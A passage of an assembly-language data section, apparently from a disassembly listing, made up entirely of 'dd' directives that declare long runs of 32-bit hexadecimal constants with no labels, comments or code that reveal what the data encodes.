		dd 514772Bh, 0B74A62E5h, 0A798415Bh, 8FF295DCh,	6AFB50F0h
		dd 8C13B038h, 66C35305h, 3798014h, 0CEC55717h, 41F8000Dh
		dd 0F622FBAFh, 1303956Ch, 0CF707DA5h, 98ECA047h, 0A958006Fh
		dd 0CE525CE2h, 4E0014AEh, 93CDA77h, 279E92Eh, 0F556742h
		dd 0E9C04039h, 0D87B5862h, 0DCD18524h, 43901202h, 0BEA88454h
		dd 0FA5A85C0h, 1E863C74h, 2B337B80h, 0EB836E75h, 1B3C881Ch
		dd 53FF0C0h, 0C9CA86h, 0F9BDFBD5h, 464E15E5h, 0D4871300h
		dd 267980BEh, 76FCA7h, 0B7BC23E2h, 455DC6ECh, 2AD04A07h
		dd 0FA72E48Bh, 6F284082h, 42B0BEh, 0FA88A10h, 0B465E37Fh
		dd 88587030h, 14621581h, 0F04B598Bh, 0AA4D6405h, 10EF18C1h
		dd 6D012CDBh, 0EDD5621Fh, 13DC7CB4h, 746E07Eh, 8A4345D1h
		dd 999Bh, 0F61F7990h, 98FD4E07h, 310008E5h, 0CA7068h, 96E04D57h
		dd 4FCCF6B2h, 0CD922E00h, 0A89163C8h, 510B00FEh, 40B618ECh
		dd 3A00C64Ch, 846E53E9h, 0D41222h, 82A5201Dh, 0C03E2DF9h
		dd 901CA1FCh, 807C2B74h, 0C322B140h, 0FB20A3h, 280D8DC4h
		dd 0F5540FE7h, 0BD6BE602h, 447FEF31h, 0DB610018h, 2E1FA211h
		dd 8F1C5909h, 9B00913Fh, 0FC8673EBh, 980C00C1h,	13404BD4h
		dd 0C200698Bh, 0DF687EC9h, 1419B324h, 0C5F13B41h, 18CD2800h
		dd 0F523D092h, 0A616A800h, 49FD38B4h, 823900E9h, 53E8048Ch
		dd 6E01F259h, 0C454A922h, 32FC766Ch, 0C967DCEh,	0D9B0E54Fh
		dd 2F0018C1h, 658A5D17h, 0FC1BDA9Eh, 1230E263h,	0F14CCA7h
		dd 13F3B6Bh, 0EDAE1982h, 5EE340E0h, 8A0780A1h, 5B0E7212h
		dd 98268E60h, 26997D1Bh, 80B88817h, 0F7E086CEh,	3F046B53h
		dd 0FE2B92B7h, 30BAE4D0h, 52F40041h, 4BE9E08h, 2A9879C3h
		dd 2DA6D500h, 0E1FC959Dh, 216E0358h, 8DD31BACh,	0D5F0E8F9h
		dd 84608048h, 0B087854h, 0E34D00FFh, 0F316A9EEh, 0D21AF71Eh
		dd 188981BEh, 0E8CEFD10h, 819900CDh, 0E55E5DDCh, 0B00E120h
		dd 2C63715Ah, 45BFD6h, 648CD37Dh, 9DBD1858h, 9B510C00h
		dd 7E030E76h, 0C6E700ADh, 4F2A6148h, 7B004750h,	35567FB5h
		dd 1E15494h, 0C40DCAFDh, 0D83A2831h, 49608A85h,	7E91D2B9h
		dd 0AD4E071Fh, 41598706h, 0E68E010Fh, 0C3EA10C9h, 0D0508BB8h
		dd 47858700h, 36642599h, 22481EC1h, 54007C94h, 0F584A14Ch
		dd 0F200E54Dh, 1939CA4Bh, 0E3BC75h, 0AE0F5DE2h,	2F415C24h
		dd 0EAB6270Bh, 75042778h, 46BFA681h, 1DD832CCh,	0C0241B65h
		dd 905FADE7h, 0FB02E472h, 8CDDE585h, 238860C7h,	0C2A0095h
		dd 15C6DD1h, 0B307CC9Ah, 86C45BE6h, 2D68A700h, 0D2CB091Dh
		dd 1681ADD3h
		dd 805C795Ah, 9745B2F9h, 0E35A32Fh, 0D2F0BED0h,	0BD4D3C3h
		dd 389C06B7h, 5780E003h, 0C077FA04h, 9DF70h, 0E3017E20h
		dd 0A1C5B14Fh, 8796CD05h, 9840A0FDh, 19DD134Dh,	5CF50F2Dh
		dd 1080CD8Dh, 506693FFh, 797448h, 0FC601EF0h, 0E9D292h
		dd 33C93765h, 6FEE85E6h, 0C8DCE51Fh, 6D0F2BC1h,	16F4A3ADh
		dd 2EEA3234h, 4B72911h,	9DA2B683h, 80ABE06Ch, 894A1F2Bh
		dd 0C28E0038h, 0E664D587h, 0B6627D07h, 0C7740ED8h, 110AF083h
		dd 398C5129h, 442C443Dh, 14443309h, 6F228445h, 8B5074D7h
		dd 0A9221682h, 0ECFD228Dh, 21210424h, 209D1211h, 85C42423h
		dd 12C139h, 105D9EBDh, 75AFF5B1h, 0A08C3DD2h, 6280FF01h
		dd 0C0574463h, 65002667h, 1B8D5D42h, 96F722h, 0D2B3B911h
		dd 26D1C4BBh, 24F30F00h, 4B9BAB8Bh, 0F929007Fh,	6EF6CD2Ch
		dd 0B4030769h, 0F53BD7Ah, 0B002C03Ah, 36BB0006h, 51FD4541h
		dd 9A02F6EBh, 0C852AF0Ch, 0A0CA406Fh, 25EA004Ah, 149B196h
		dd 4F000A51h, 0CEE8C8ACh, 42B78F6h, 6346CA64h, 91A5C787h
		dd 50A9141Ch, 993DF7D8h, 3FB75D01h, 3919C008h, 0C6187D0h
		dd 0BB6EE1CAh, 45006690h, 0BCAFCDBEh, 0F732C5Eh, 0EA4F5606h
		dd 0A7E6A540h, 110FA61Eh, 60C81BB5h, 783C8B48h,	0ACAF03BFh
		dd 8D6A217h, 9AF4B800h,	0F6E95F15h, 7D411869h, 0EBC5180Ah
		dd 3316211Ch, 1295F980h, 3B113C18h, 9D079C46h, 0E04EB898h
		dd 62F09BE2h, 0DD954528h, 0C85E943Bh, 8DD7143Ch, 2D6E80ACh
		dd 54A74F6h, 0C2083D3h,	9EAE00E4h, 2958A7FCh, 0F1268100h
		dd 1182EE17h, 0F8B10014h, 0A744E047h, 421D6199h, 0B8C0BEC9h
		dd 733DA2E1h, 816A58F6h, 7D5F0C00h, 0BD35B2C2h,	0C0C91E30h
		dd 0F7917Eh, 0CCC37F29h, 5D238C11h, 0C815831Fh,	802FB8BCh
		dd 0B4B52DA8h, 0A5FC34h, 0E51BB374h, 2CD7F8BCh,	0C700BB78h
		dd 0DFD5F047h, 39313Ah,	4C4E163Fh, 8488F810h, 0A1AD800h
		dd 0E6E21862h, 0A0677BA4h, 0FFBFB8E4h, 0B9A2ACCh, 49C191BCh
		dd 7E004BD4h, 566B45ACh, 645000E8h, 0B17CF97Ah,	271C423Ah
		dd 3047547Fh, 0EB30C8D4h, 6FE2B9h, 72B0558Fh, 99385145h
		dd 0ED0FC600h, 606C81DBh, 11A4004Ch, 0D05D1FFCh, 163D42BAh
		dd 1E007573h, 94F5C1E2h, 31D126Fh, 0A8132AC3h, 0A590CFC8h
		dd 4B181508h, 0AC113E60h, 0DCD00FCEh, 0DBAEDA2Fh, 0D91F75C0h
		dd 4A0593F8h, 4867E9CCh, 829D4280h, 0AF6B04BAh,	0D0B7F566h
		dd 0EC0F3A34h, 74C13Ch,	52029C81h, 0C9D8B4h, 0F67E2634h
		dd 0C4786524h, 58000972h, 54A5FE7Ch, 3C14005h, 0BCBFD267h
		dd 1CD04B6Eh, 6B079C23h, 44B163C3h, 0F049D853h,	8B1AD9h
		dd 0BB5C416Ch, 4DA31CB6h, 7B00F877h, 43BD8E78h,	9167E1h
		dd 0ED514688h, 1752A666h, 9C4E1416h, 697D8400h,	941A65h
		dd 3C73E87Bh, 6AEEDDC3h, 8E7C3201h, 6BFA6E38h, 3F5AC4FCh
		dd 71000D8Ch, 8614B376h, 0F8009DDEh, 303C396Ah,	90C2592Eh
		dd 0E1AD0030h, 1985B865h, 5E02A05Dh, 3C4A8DCDh,	0F090806Ah
		dd 25EC03h, 1D84245Fh, 0C9DD3F57h, 97D6CF0Eh, 13E2202Ch
		dd 13590D8h, 84D3801Ah,	0E4A18287h, 100EED0h, 1BA655B5h
		dd 768416Bh, 0FBE16080h, 626450A5h, 74000F8Eh, 0D9CB476Dh
		dd 0B8AA9105h, 65220319h, 0F91B28F4h, 0E30EA498h, 3841C207h
		dd 807FD7AEh, 4BDC7C2Bh, 5E9809C5h, 2000F14Ch, 28C059A1h
		dd 0A8F348h, 6B47BF55h,	0F439CBh, 3CAC2F9Bh, 0D0BD1B77h
		dd 1268A0Eh, 41AB10h, 7C14DFC5h, 343A0024h, 25B9921Eh
		dd 0E100CF6Ch, 9D531A77h, 0BA409Eh, 2BAEFEB8h, 41F2D472h
		dd 0A7479100h, 98A875B6h, 0C12D38CCh, 58FE9F8Eh, 0F0BD8AA0h
		dd 11F09BEAh, 39BA4107h, 9E40E085h, 3C264D0h, 0CA493182h
		dd 0C6E2F79Dh, 4F3536C0h, 8A377000h, 0AEC1D0ACh, 0B0EF00ABh
		dd 5922F21Eh, 0E900FA1Dh, 1D6183Bh, 6C12AAh, 60D7B38Ch
		dd 0AF1664DAh, 0ED361901h, 480802CEh, 0E9E6ECh,	0C3B5546Fh
		dd 2D05C172h, 8B65B300h, 79BA9A67h, 496D00EFh, 0D63B0B68h
		dd 630074CAh, 402F6E26h, 4C23BCh, 69AC1EFEh, 0FFA6711Bh
		dd 14053202h, 0C834FBE5h, 9A438h, 91EC467Dh, 64B484E2h
		dd 0D6001C98h, 0F449B373h, 451242h, 15C37620h, 0D5AE7DADh
		dd 7000F4B0h, 0B43B9647h, 48D99E6Ah, 0E309B4A0h, 0A80369FFh
		dd 0C28022FDh, 9400F0A5h, 9993631h, 0C14E00Dh, 67AFD891h
		dd 0EBE2EC28h, 0C9F5F309h, 300C0770h, 54A692A0h, 0D4320211h
		dd 89CCBBE3h, 933C7C60h, 956A5901h, 0ED02586Bh,	0E2F33C8h
		dd 3086E292h, 0D7651522h, 0F36337C0h, 0E001D7Bh, 0D080FB8Ah
		dd 9960A1h, 4E647EBFh, 34E03975h, 7C7D4Ch, 0C3AAB174h
		dd 356EBE2h, 58268CC8h,	78A884DEh, 692C4585h, 0DD0356D4h
		dd 98D77D1Ah, 1EF62BCAh, 0FFDEA5h, 469B8A09h, 0A00D97Ch
		dd 3528679Ah, 90D6F57Eh, 1A3E2439h, 0C54400F8h,	0CF6BF9C9h
		dd 0C2DF3900h, 750BB6C8h, 0ABC70030h, 0A377F16Ch, 0DE008215h
		dd 102F2713h, 0E3DC7Bh,	41BEA767h, 0F4555E66h, 80D23B3Fh
		dd 76C89872h, 2A4CE7B5h, 3DE821CFh, 0AC9E6942h,	0CDB802E6h
		dd 0A460AFA2h, 61039DBBh, 5989475Fh, 0BD4A857h,	62793Dh
		dd 0BF079F6Ah, 0A91B9B16h, 0C000D9E4h, 0DCBCFA29h, 4CBA15FBh
		dd 55035BF3h, 95AB7197h, 21830398h, 0BF2B0F00h,	0CEDF7E1Fh
		dd 3C3E1752h, 0F42800A4h, 5FB8C897h, 0B6ED800Bh, 0C26C0283h
		dd 0A828E352h, 1C9E45FBh, 408C5938h, 128F09C6h,	0B118DDA8h
		dd 0AE29697Fh, 0F18900CFh, 53C511E6h, 0C700EBBCh, 0F5D48602h
		dd 0E67D7476h, 2C909Ah,	0FCBFADE8h, 0E43923EAh,	0E3A74Ch
		dd 8645DA38h, 85DC4Ah, 7FFAF70Fh, 3FB99057h, 0F448B301h
		dd 13DAD049h, 0CB733D4h, 16EAC74Ch, 0A402D928h,	3A392288h
		dd 0D3B4489Ch, 75D1008Bh, 6F161D93h, 5F03A010h,	67F8687h
		dd 0D3EFFBC7h, 0D69FD812h, 85110059h, 549B5AAFh, 65004740h
		dd 683CED98h, 2E6989CEh, 1DD42C14h, 0C11180Bh, 0C4002972h
		dd 77DAC305h, 3A98D2B1h, 0EA8312C1h, 8BB3284Dh,	9A54A094h
		dd 0A1E44C07h, 7EB67B2h, 38105A56h, 2CEEE583h, 3EE6050Dh
		dd 40E8E8ACh, 47FFC5D4h, 7884B704h, 94C8EED8h, 5480064h
		dd 1A0F2859h, 0D3006D49h, 7FD2A020h, 0B010509Eh, 0EC5B090Ah
		dd 5A002219h, 98D1066Ah, 0E52B2601h, 588445F6h,	512F5EECh
		dd 77606019h, 9C3806B2h, 605F8C2Eh, 0BAF75406h,	3911879Dh
		dd 301BDEE7h, 1DD8AED7h, 5A001847h, 94B5629Eh, 5CF2329Bh
		dd 0D91F93D1h, 901CC91Fh, 3F7E4C82h, 65127050h,	1C003E27h
		dd 0E9D3284Ch, 4911C08Ah, 2F21439Ch, 6092BA16h,	259AE000h
		dd 0F2AAF3E7h, 8EB3D9Dh, 0C01FF00h, 1F81D4C2h, 335C4FE4h
		dd 74971664h, 1ED3F800h, 3BE9521h, 0D2F16D44h, 80C5090Fh
		dd 843B7324h, 9A814500h, 6AEAC210h, 0CD4F01AFh,	6E2F1152h
		dd 4B3C7E0h, 363E68D8h,	98E95F2Eh, 0CB988800h, 706EB3h
		dd 65069684h, 4061E78Fh, 0BBE44E00h, 0D5CA0F09h, 0F5FC33h
		dd 7DB9490Ch, 0C35DE9EAh, 1F269900h, 1EF822E3h,	38D0053h
		dd 2F46F780h, 6007E891h, 15B0C61Ch, 3B416910h, 7C87F697h
		dd 1B4BAF9h, 80560AD2h,	601A39B1h, 0F400521Fh, 0DB852545h
		dd 138D3D40h, 1103ABh, 33A56AD8h, 20014B0Ch, 50D5D7E0h
		dd 0E1201DEFh, 4576259Dh, 0CEC2D800h, 2200895Ah, 8E5CB81Eh
		dd 0A0BC7516h, 6E53DBh
		dd 6240C026h, 88087B4Fh, 8166100Eh, 7617A0D4h, 2CC472B7h
		dd 341EB5h, 0AFE7EF69h,	0E013B8D3h, 65FC3B59h, 0C93D4903h
		dd 37C05AF4h, 470084F0h, 3F689774h, 1A9C75Ch, 2816D6BBh
		dd 0E89E5693h, 5B0EA777h, 7949CDEh, 9242A411h, 0CDB840BBh
		dd 21720053h, 85B3CA63h, 7702B0D1h, 0B3988FFh, 49F880BBh
		dd 0C4DF9Eh, 0E3293234h, 0A2B69404h, 948859h, 0E06A3897h
		dd 3C0D815Eh, 278039D8h, 3CCD1D83h, 0D1FECB15h,	7B4F900h
		dd 0A7864FD7h, 80AD0EE3h, 9BC08501h, 4EF79116h,	377F8E0Eh
		dd 2B89F4h, 8DA075E4h, 3A677B69h, 80001113h, 0B87CACFBh
		dd 0F2C9B5Eh, 0CF1DC077h, 98873E82h, 52C46016h,	2E071h
		dd 0F8DAE9C9h, 0D170E190h, 0B203D717h, 31B1F900h, 1362EAA2h
		dd 98EEEDh, 3AF92EA8h, 0F500ECC7h, 225B88BDh, 51476Ch
		dd 0CD6AF878h, 7C74ED33h, 44BF1A03h, 1F4348Ah, 0A2E42380h
		dd 0C57061C8h, 0DCBFE4FBh, 9EE17E00h, 0C37142Bh, 0FECA0013h
		dd 87B87FBAh, 0A500F8E8h, 81B1EAE9h, 7B18687Ah,	0E7AE17E4h
		dd 3804008Ah, 0A93E443Fh, 163C1F0Bh, 0CBC68041h, 22AE1CEh
		dd 66D6E4C4h, 0DC60E5D3h, 0BD0931FFh, 0FE58C2h,	4D54B550h
		dd 0A84200B2h, 0D40CE962h, 4B80933h, 7E05B800h,	38D6EC0Eh
		dd 0CDCF007Ah, 8CE0B421h, 4C24FBEFh, 863B8862h,	6F24DC8Fh
		dd 9D910211h, 0F0B5E779h, 0BEAE7C40h, 0B2006D41h, 918073Fh
		dd 0B533C2D7h, 53CFC280h, 5D2CFCC0h, 0C10098BCh, 0BBC7F60Bh
		dd 1F860030h, 35541545h, 0B0001355h, 0F524AEAh,	2E3C99Ah
		dd 5D3EA750h, 4407434h,	1B058D11h, 8F3B0D55h, 33FCB880h
		dd 0F0AB01CAh, 0FF1C783Dh, 1D9034BAh, 79DA9B0Ch, 1F6B288Bh
		dd 0DCC9F959h, 0CEEDC09Eh, 5D80C04h, 0D9B0E8E4h, 7404CDFAh
		dd 1F633FDAh, 0FB504C80h, 0E683025Dh, 498ECCAFh, 81F40960h
		dd 75882212h, 0B48D001h, 94FCAE78h, 0A01B3058h,	32228019h
		dd 1C00B34Ah, 0E5FAE3FDh, 0D5E19DAFh, 96A82036h, 20417930h
		dd 7BF9ABh, 48FB070Ah, 15516135h, 0AC909A07h, 0BD30F0EAh
		dd 77E42Eh, 0CC06B34Fh,	0E3324722h, 13F0A658h, 0D80031EAh
		dd 25AB8937h, 988E75D7h, 26C99804h, 0C824C2h, 0ED3242A5h
		dd 2C00AA08h, 275E92Ah,	52D79h,	2B8423FEh, 2599BF5Ch, 31398F1Ch
		dd 0CB004F93h, 96F3A968h, 198B60F8h, 87696AB3h,	0A1992500h
		dd 935BDC1Ch, 226009BBh, 0B0A3614Bh, 1E3D5CFBh,	149901BEh
		dd 0F048959Fh, 0F4AA07FCh, 567E3844h, 5D8799Dh,	40E90E9Ch
		dd 7A55BBC0h, 0CC001A2Ah, 0E631C96Ah, 0C3B6AAh,	0EB0F26EAh
		dd 8C8DDCFCh, 2AED0907h, 8080791Bh, 48DBAAD2h, 9100C8DAh
		dd 98AB77EFh, 89FCAE96h, 0B7D14A1Ch, 769FD480h,	203399h
		dd 587A1FFFh, 4958A9Ah,	2ADA5500h, 0EE7B1D2Ch, 0A0EFB0C3h
		dd 77023F4h, 0A2F390AFh, 50E26005h, 2E07300Fh, 0B6100E64h
		dd 24C00645h, 0CE436C1h, 8380BFC2h, 11004219h, 78F2C616h
		dd 338F0F3h, 5D30A5E4h,	0EE0CC93h, 632DDED5h, 12348061h
		dd 350C69h, 7B534C4Ah, 226A1EDCh, 9F3C39h, 72346D8Ch, 711D2AEh
		dd 7CB44942h, 80B0A427h, 57966E28h, 380F9226h, 75915081h
		dd 16DC1BCFh, 9EA700ACh, 4E2C617Dh, 8E3FA420h, 0BDD0E0D0h
		dd 791170h, 1854DDE9h, 551686Dh, 44832D01h, 717296C3h
		dd 7D41E8h, 0C53F5643h,	0A65424EBh, 0C702117Bh,	0C2E08C45h
		dd 0AA08407Ch, 7B7A10B0h, 64E300ACh, 5380C5E9h,	0A6FC0081h
		dd 0B5F6D09Dh, 4CF492EFh, 3E5EE607h, 81303041h,	5927F116h
		dd 0C200246Bh, 0DDB4623Dh, 7379F9D0h, 0EC0A7E12h, 0E7330802h
		dd 98030BC4h, 4A90EEAFh, 0BF003E69h, 537655Eh, 55084Eh
		dd 20E290FDh, 121F1492h, 62486709h, 77DC22B7h, 9508E14Eh
		dd 2C343A71h, 0F8A35867h, 0EEFC160Eh, 4B3E5281h, 733080B5h
		dd 0A2D634AAh, 1E6F0055h, 2F8227E5h, 0CB3C643Bh, 0D55200ECh
		dd 0F2FE070Eh, 8B7241h,	6ED8673Fh, 940DED9Dh, 79301777h
		dd 426B286Ah, 0C4B8E6h,	8AF5C949h, 6E592324h, 4CEC9B00h
		dd 0B9471B70h, 3DEB009Ch, 0B1F03EDAh, 26B8AD4Dh, 0D94A7801h
		dd 9D60362Eh, 777570DCh, 0F6F33EC8h, 18890C00h,	72DCACA0h
		dd 0B97AC103h, 0C89E7F2Ah, 0F8E2B571h, 38ED4CA3h, 605C916h
		dd 1C8CBB30h, 7918BF13h, 1BA3AC00h, 395D378Fh, 0FA80B181h
		dd 0F227DBA6h, 447DB6A2h, 0F70748B8h, 570C8F8Eh, 54A9DAB0h
		dd 0D325001Bh, 69AF7CB5h, 7100B099h, 523A6886h,	0D7CD21h
		dd 0CC6444E5h, 61BEDD9Dh, 0F070160Eh, 2C89FFC7h, 968C0086h
		dd 0E9DB3577h, 494810DCh, 2C3898A8h, 0A98BD585h, 51E983EFh
		dd 0A85613A0h, 7E390858h, 3E0C3603h, 0D066F2AFh, 0B22ACA2Eh
		dd 0F4A5015Ch, 0AE11EFB1h, 7E5186A9h, 1F18518h,	87F6590h
		dd 0F406F326h, 980360ABh, 0F9E2A7EFh, 0AD30008Fh, 840BDADEh
		dd 694DE920h, 5E4A0080h, 3608ABFh, 613807D0h, 57DEDA24h
		dd 0C0ECB7AFh, 6E3BD54Ch, 34253500h, 87988F73h,	4478F8h
		dd 0D9E4FC2Bh, 0D457A6C1h, 3F51C48h, 0F16DE898h, 0A762D0F2h
		dd 705D0099h, 0A6E4099Bh, 363A2A22h, 0B48B8740h, 0EF9075ABh
		dd 1143A9h, 3EAE5895h, 4C8A1721h, 0E45B8D1Ch, 0DB80D801h
		dd 66205EB5h, 7647D66h,	8B1B49D6h, 473870CCh, 0BE58A78Eh
		dd 0B1AC07BAh, 0BC84CF67h, 8D3E1480h, 0BF0006Bh, 0B9B2FDC0h
		dd 0D400C1EEh, 0E3FF15F7h, 17D72FBCh, 0D036D0ADh, 0CAE60DA4h
		dd 41EAA901h, 79E22AEFh, 21010898h, 0CA007E22h,	489BDB23h
		dd 3FF9D80h, 55E25FC6h,	0DAB819C2h, 0A0A97D2h, 0D4930B10h
		dd 238F1883h, 681800D0h, 1069500Ch, 0D6610D89h,	8DE89620h
		dd 2BCDF050h, 82C18A62h, 0F1C541DEh, 9DDC412h, 85070F00h
		dd 0ABBE89CFh, 8AE00E9h, 8EA7F314h, 60C4C22Fh, 0D51709E0h
		dd 0B5BC8010h, 0A069680h, 3A9C1FC0h, 14880020h,	7379DB2Ah
		dd 0FD0ADEAFh, 8C8E9B76h, 8138A1BDh, 0EAA4CAE7h, 880518E9h
		dd 0CA077FCBh, 3BE6307Eh, 1B73F317h, 95580065h,	0D3C96029h
		dd 749072DAh, 58555200h, 0FEAE6AD8h, 994200FBh,	0DC9C5E5Fh
		dd 3C7C5768h, 0D08D5Ch,	95803352h, 1DDFB89Fh, 809E5D11h
		dd 3755AC4Eh, 4D0018F2h, 0BCFBC944h, 7F12DC15h,	0E23200F4h
		dd 0AA4C4542h, 1B03B71Fh, 82B8360Fh, 7B387C1Eh,	0A5E83Fh
		dd 0E32BCCACh, 9D7D4F7Bh, 8020AF6Fh, 0D7C89119h, 69B700B1h
		dd 1D0A18F9h, 7800472Dh, 9835C46Fh, 9CCF6Ch, 8F08296h
		dd 2BC3A5D5h, 0CA9B4507h, 54EA721Eh, 0C166A000h, 3905BE0Ch
		dd 198001F0h, 953B2BF3h, 990C6E5Fh, 907BAEB5h, 24DE9855h
		dd 0C41BD2h, 8E098688h,	2700AE45h, 23F7B32Dh, 0EA13F74h
		dd 2E7D3ADh, 4AA7580h, 4760EB88h, 0A19F38C8h, 1E3F3EAEh
		dd 290F2258h, 0ACEF7F03h, 0D8360EDEh, 12FC3281h, 76F760CCh
		dd 86FEC21Ch, 4F13BDC0h, 56654Dh, 0DDFAA9B6h, 0EA36DB40h
		dd 872A273Eh, 0D2ADE45Eh, 0FE6086C7h, 75F303Ch,	0A36390A5h
		dd 7B70F01Eh, 2F001B8Dh, 0F9C3BEA0h, 7D5ADBBh, 91B03D28h
		dd 0DD2770E7h, 6C1F6034h, 8EC07FF1h, 788A9855h,	0F2A701F6h
		dd 7AC96DF0h, 0AF4CC0BFh, 2EDAA300h, 26B504FCh,	0CA723B5Dh
		dd 0F9C4F82h, 0B0824D96h, 94406066h, 8C028378h,	945D9A55h
		dd 0B39DC06Fh, 0C6040010h, 814B0D28h, 5502EFBAh, 501A8ECFh
		dd 8080A29Bh, 1804BCC3h, 30F3D515h, 2800624Eh, 3B84719h
		dd 808794h, 0F443C984h,	78DC1258h, 4EE3FB03h, 2116BBA8h
		dd 5108A728h, 7EA2BF40h, 0DB117642h, 44AC3C97h,	0AB28A0D4h
		dd 42DF89B6h, 8513EC14h, 963B2804h, 83C934Ah, 4C90075Eh
		dd 42976484h, 288F577h,	18277561h, 634688D8h, 29F02B8Ch
		dd 4AE4423h, 3CC7C88h, 534C4637h, 2CB30527h, 31E6C0DDh
		dd 26005E0Dh, 75B3FC43h, 78FDEBE9h, 0F2B700E0h,	0A13936CCh
		dd 2400166Fh, 218D583Ah, 7B857Eh, 0FDA7505Bh, 4FFFE05Ah
		dd 0C7B036F0h, 0F80917EAh, 0DAC2A9h, 37F0F1D1h,	49AC0073h
		dd 25A28EFEh, 121E876Ch, 21C0B76Fh, 362D7FFh, 0F714004Eh
		dd 8CE531DBh, 0A10F8F8Ah, 805092FEh, 0B654AD4Ch, 611F00A8h
		dd 0F9CFEB07h, 5B0022B0h, 0BAD9DFF5h, 748310E3h, 7C0C901Ah
		dd 99550760h, 60B9397Bh, 128E5392h, 4402E000h, 49D03DA9h
		dd 0B08C7385h, 687A0082h, 0E286BE1Eh, 603FB8C7h, 1C258084h
		dd 3E7952EEh, 590B00FAh, 0CA8D2412h, 8E00E19Ch,	58CE7191h
		dd 2A86E0Eh, 6F35D85Bh,	0F6E0E425h, 1C039F2Bh, 899407B9h
		dd 7778984Dh, 808F04A5h, 9054BC19h, 97B1A464h, 395C0500h
		dd 4E26CC0Fh, 1E475DFh,	2088457Dh, 0C0DD442Dh, 4700F673h
		dd 4E5EB1C4h, 0F90C219h, 0D7A0A905h, 0C8203E00h, 1F0095ACh
		dd 58B7CE03h, 16B45533h, 0D21096h, 0B5CA24CAh, 3FB03A3Fh
		dd 0F43D58F0h, 2FAA8182h, 94847FFBh, 1A9F4087h,	0F4A05F66h
		dd 0A4785A10h, 49348A1Fh, 2B4FD9C6h, 18C88048h,	0A5AC00AEh
		dd 0E5FC8EF0h, 3B287740h, 0C400D851h, 0C23179BCh, 7B10C0h
		dd 0C5098997h, 270218ABh, 9DAFD100h, 88752386h,	0A22800ACh
		dd 0E2376CBDh, 83B8470Dh, 3C32A17h, 0A640BA1Dh,	0B0990B70h
		dd 0E5B400D7h, 0CD6534Dh, 7504853Fh, 31FF6CFBh,	0BDE9DB80h
		dd 0A1300E8Dh, 0E721A7C2h, 42787340h, 31C1799Ch, 7618F0C4h
		dd 0B555BD00h, 6C231FB1h, 1CD1075Fh, 0C0F6D27Fh, 207DC381h
		dd 83C94C38h, 993B3C16h, 6625C82Eh, 0F79300B1h,	0F33AA8A5h
		dd 5C00CA5Ah, 0F934E01Bh, 199B3h, 2368B42Fh, 70A3D492h
		dd 6823AC0h, 3A81188h, 5F3FC1C5h, 0DEC3ED75h, 0FD699000h
		dd 3021EA9Bh, 129E0008h, 0D4B9C32Fh, 0DE0056A6h, 884B038Eh
		dd 9C66FCh, 0A0F6B425h,	86B3EB7Dh, 17C34209h, 752C0281h
		dd 0A3CC48FEh, 79770082h, 3E957F93h, 0E01D85AFh, 9746FF1Fh
		dd 11011EBh, 0BCB1364Ah, 24C64526h, 0AB001C14h,	0F02DA573h
		dd 20AD75h, 74549A5Ch, 0B6811EF8h, 0FD07987Eh, 0E3FCEB99h
		dd 957CB8A0h, 0A56E005Eh, 7B9FD660h, 7E75EE61h,	0E0846407h
		dd 2CC032BEh, 76CD38Eh,	4C3B3465h, 754AF0B8h, 10EF489h
		dd 47F6B002h, 0E2E05FEBh, 0BD6EE7h, 80932453h, 690BD99Ch
		dd 7141A513h, 802C8D09h, 1630B769h, 0D9C10082h,	87357D14h
		dd 900B1041h, 806E531Fh, 0F0CA1BBAh, 0EB6007F3h, 1FDFE7C2h
		dd 90485747h, 0D6A730CCh, 0B5ACB900h, 94623D2h,	28763BDFh
		dd 0F2103200h, 562E04Eh, 4A703D31h, 0F0409843h,	74ED89h
		dd 8F200D73h, 7A86FB24h, 0A9687F07h, 2C405D5Ah,	97B060h
		dd 9D95B8F7h, 0B5FC4F99h, 30470200h, 0D1903413h, 0E400303h
		dd 210566ABh, 0BBF0AA8h, 57183B00h, 0FFEA5D58h,	4F410EFEh
		dd 0CB20DD2Ch, 55B20225h, 2F330600h, 0E298C9CFh, 40660391h
		dd 380331B5h, 54C2A7A8h, 360BDE01h, 75B0AF1Fh, 37274D8h
		dd 0BC84E132h, 3180CAB7h, 4A5C22CBh, 90350E2Ah,	7E0A80A0h
		dd 4752AAh, 4B60D9BAh, 4A67497Dh, 193BEC16h, 0DC4E2C00h
		dd 2E13A8h, 74EB1C4Fh, 568AC179h, 7D2D38h, 76E38D01h, 42BBBFh
		dd 7A601487h, 5191ED38h, 33DA2200h, 0B72109B1h,	73E700B0h
		dd 6388D18Fh, 0A8008A3Dh, 97BD4F0h, 0EA2DCFh, 825AB846h
		dd 6E3E889Ch, 4E2F0C02h, 0E1C66D99h, 60E2790Ch,	352C62h
		dd 0BF1DBCEBh, 0D8E8C25h, 77C4B000h, 5EFE929Dh,	0AFE8FD21h
		dd 98E900ABh, 953C08D8h, 8950048Fh, 0D23979E0h,	18A68387h
		dd 0C2DCDA3Ah, 0D8641Ch, 9C6CACB8h, 51425F47h, 0A713DE00h
		dd 1E1CBD2h, 0C33D00F4h, 0F5810D91h, 4B005794h,	165D6219h
		dd 7D06EF9Ah, 0DEAB01B8h, 681F130Ch, 9E6F4D7h, 0F8E49B98h
		dd 87147061h, 73F86327h, 76EF003Ah, 0AC491FE9h,	0B0018CECh
		dd 13BD5A24h, 0FC208AF2h, 9C7B0136h, 71ECBBFEh,	2EC430A3h
		dd 0C2FBB807h, 5C61E645h, 9320905Fh, 502F022Ch,	8CEB153Ch
		dd 0B21F78C0h, 483DD176h, 0D4CC0F55h, 9D5A208Fh, 21D771h
		dd 0FE8395C4h, 0A90E476h, 0BCCA7703h, 9AA9B1FCh, 6E26034h
		dd 5BBB136Ah, 9EA00A51h, 0C79130B7h, 0B6021D57h, 87F115F0h
		dd 0E5A4C922h, 3CF84720h, 6E00A3F2h, 649EABD6h,	0DB00EBD7h
		dd 0A6F5796Ah, 38D8CDEh, 1A1F2980h, 5BC0EA36h, 87009B14h
		dd 7A45689Ah, 507D3464h, 0B055F78Eh, 7C3500BCh,	37B9CFECh
		dd 0D604EAF4h, 546B763Bh, 0B26308C0h, 688B12F8h, 47A90043h
		dd 0B04EE214h, 29347800h, 2401FEAFh, 2ABA001Dh,	0DEE7117Eh
		dd 7F3DEBE3h, 0C8B70B18h, 98D400CAh, 268BE992h,	1082570h
		dd 8F6DDCD5h, 0D2B83468h, 0B5621D00h, 0D60AB59h, 22D41606h
		dd 0F5930151h, 0F018CF85h, 6600B8FDh, 0D0E1C103h, 0B037F1E3h
		dd 0CA860112h, 0ABD246BEh, 0DD608026h, 12139122h, 0B360032h
		dd 8290675Ch, 9700A254h, 91352D7Fh, 3E33625Fh, 9F00C51Ch
